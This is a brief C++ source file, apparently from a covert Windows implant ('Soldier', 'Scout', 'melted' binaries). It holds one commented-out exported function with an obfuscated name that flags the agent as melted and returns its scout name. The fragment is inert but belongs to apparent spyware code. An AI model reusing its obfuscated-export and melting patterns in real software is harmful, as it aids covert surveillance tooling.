Soldier/export.cpp
#include <windows.h>
#include "binpatch.h"
#include "globals.h"
#include "debug.h"
/*
__declspec(dllexport) LPWSTR olaa4iwjslkl(PULONG pSynchro) // questa viene richiamata dai meltati
{
#ifdef _DEBUG
OutputDebug(L"[+] Setting bMelted to TRUE\n");
#endif
LPWSTR pScoutName;
bMelted = TRUE;
uSynchro = pSynchro;
pScoutName = (LPWSTR)VirtualAlloc(NULL, strlen(SCOUT_NAME)*sizeof(WCHAR)*2, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, SCOUT_NAME, strlen(SCOUT_NAME), pScoutName, strlen(SCOUT_NAME) + 2);
return pScoutName;
}
*/